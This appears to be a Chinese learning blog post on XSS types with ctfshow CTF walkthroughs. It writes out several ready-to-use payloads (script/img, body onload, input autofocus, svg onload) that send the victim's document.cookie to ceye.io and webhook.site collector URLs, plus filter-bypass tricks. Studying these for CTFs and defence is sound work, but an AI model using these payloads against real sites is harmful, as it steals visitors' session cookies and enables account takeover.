当前位置: 首页 > article >正文

XSS知识点初步汇总

学一下XSS,学习并记录

     根据以下文章学习    XSS漏洞(全网最详细)-CSDN博客

                                      XSS漏洞及其原理(详解)_xss漏洞原理-CSDN博客

                                      ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客


目录

什么是XSS漏洞

XSS漏洞的分类

        反射性XSS

                例题ctfshow_web316

                        过滤手法

        存储型XSS

                        例题ctfshow_web327

        DOM型XSS

小结


什么是XSS漏洞

        XSS,即跨站脚本攻击,指用户将恶意JavaScript代码注入到网页当中,网页会执行这些恶意代码,从而形成漏洞。

        可以理解为网站的注入攻击,将恶意脚本注入到网页,别的用户访问时,浏览器就会对网页进行解析执行,达到攻击网站的其它访问者。

        所以xss的攻击对象并不是网页,而是访问网页的人(盗取cookie啥的)。

XSS漏洞的分类

        反射性XSS

                反射型XSS是非持久性、参数型跨站脚本。
                此时js恶意代码是存在于某个参数中,通过url后缀进行get传入,当其他用户点进这个被精心构造的url链接时,恶意代码就会被解析,从而盗取用户信息。

                举个例子:

                例题ctfshow_web316

                

                对于CTF的XSS题目来说,重要的不是如何注入js恶意代码,而是如何获取flag,刚刚上面讲了,XSS攻击的不是网站,盗取的不是网站的信息,而是访问页面的人。
                
ctfshow的题目里有个机器人隔一段时间就会访问这个页面,解析你的pyload,这里它就充当了受害者,flag就在它的cookie中。

                所以,我们构造

<script>
var img=document.createElement("img"); img.src="网址"+document.cookie;
</script>

                意思就是,生成一个img对象,然后加载一张图片,并携带上当前的cookie,一并发往“网址”中
                那么网址从哪儿来呢?

                这里有三个方法

                1.自己的服务器

                2.网上现有的平台,如CEYE - Monitor service for security testing,Webhook.site - Test, transform and automate Web requests and emails

                3.xss平台,如XSS Platform

                我没有自己的服务器,然后xss平台没有成功过,这里就用第二种方法

                值得注意的是,如果用的是ceye的话,这里才是正确的域名

                如果用的是webhook,那么网站在这里

                所以构造以下pyload

#如果是ceye

<script>
var img=document.createElement("img"); img.src="http://2fu4td.ceye.io/"+document.cookie;
</script>

#如果是webhook

<script>
var img=document.createElement("img"); img.src="https://webhook.site/50be7301-a916-4df1-a04f-3e4513569671"+document.cookie;
</script>

                那么这道题目就解决啦

                        过滤手法

                常用的pyload有以下几种,还有的没写可以跳转
                ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客

#script
<script>var img=document.createElement("img"); img.src="网址"+document.cookie;</script>

#body
<body onload="window.open('网址'+document.cookie)">

#input
<input onfocus="window.open('网址'+document.cookie)" autofocus>

#svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">


#什么意思不重要,作用都是把cookie带去那个网站里

空格的话可以用Tab键,/**/和/代替

        存储型XSS

                存储型XSS字如其名,js代码会被存储在网页的数据库中,比如说留言板。这类XSS漏洞的危害较大,只要用户查看了恶意用户的留言,就会被盗取信息

                实现方法其实差不多,这里不多赘述

               不过在ctfshow里,该类型的题目还有点绕,这里也举一个例子

                        例题ctfshow_web327

        

                过一遍所有可能的功能之后,发现有登录系统,注册系统,查看用户等功能

                我们注册用户,用户名随便,密码使用构造的js代码,然后用这个登录账号和密码登录,之后会接受到,我们得到这个cookie之后,替换掉我们的cookie

                js代码用上面给过的就行

        DOM型XSS

                DOM是文档对象模型,JavaScript会按照这个模型对界面进行增删改查。DOM型XSS就是修改页面中的DOM树,并不会传到服务器中,所以DOM型XSS是一种纯粹的前端漏洞,通常也是通过构造url实现

        额,ctfshow里并没有类似的题目,这里也就不多赘述了

小结

        XSS漏洞大概就是这样,学习的时候遇到的大难点就是如何把cookie带出来,研究了很久也是差不多结束了,之后会和ssti一起刷刷题目,还会出一篇博客


http://www.kler.cn/a/520346.html

相关文章:

  • Linux相关概念和易错知识点(26)(命名管道、共享内存)
  • redis的分片集群模式
  • C#实现SQL Server数据血缘关系生成程序
  • 【ComfyUI专栏】ComfyUI 部署Kolors
  • 非根目录部署 nextjs 项目,资源文件 请求404 的问题
  • MATLAB提供的颜色映射表colormap——伪彩色
  • WPS计算机二级•幻灯片的段落排版
  • Harmony Next 跨平台开发入门
  • ubuntu22安装issac gym记录
  • 求阶乘(信息学奥赛一本通-2019)
  • 【MCAL实战】MCU模块配置实践
  • es 3期 第26节-文本分词深入探查
  • 基于迁移学习的ResNet50模型实现石榴病害数据集多分类图片预测
  • 标记门牌号
  • 解锁高效办公文字提取新体验:C++文字识别OCR
  • 前端笔试面试策略
  • Hello Moto
  • HTML常见文本标签解析:从基础到进阶的全面指南
  • 图神经网络学习(1)- 安装部署指南
  • Spring Boot 整合 ShedLock 处理定时任务重复执行的问题
  • sysbench压力测试工具mysql以及postgresql
  • VSCode 中 Git 扩展的使用详解
  • 半小时速通flume-flume概述
  • 图像编辑器 Monica 之 CV 常见算法的快速调参
  • shallowRef和shallowReactive的用法以及使用场景和ref和reactive的区别
  • 企业信息化1:免费开源的董事会办公管理系统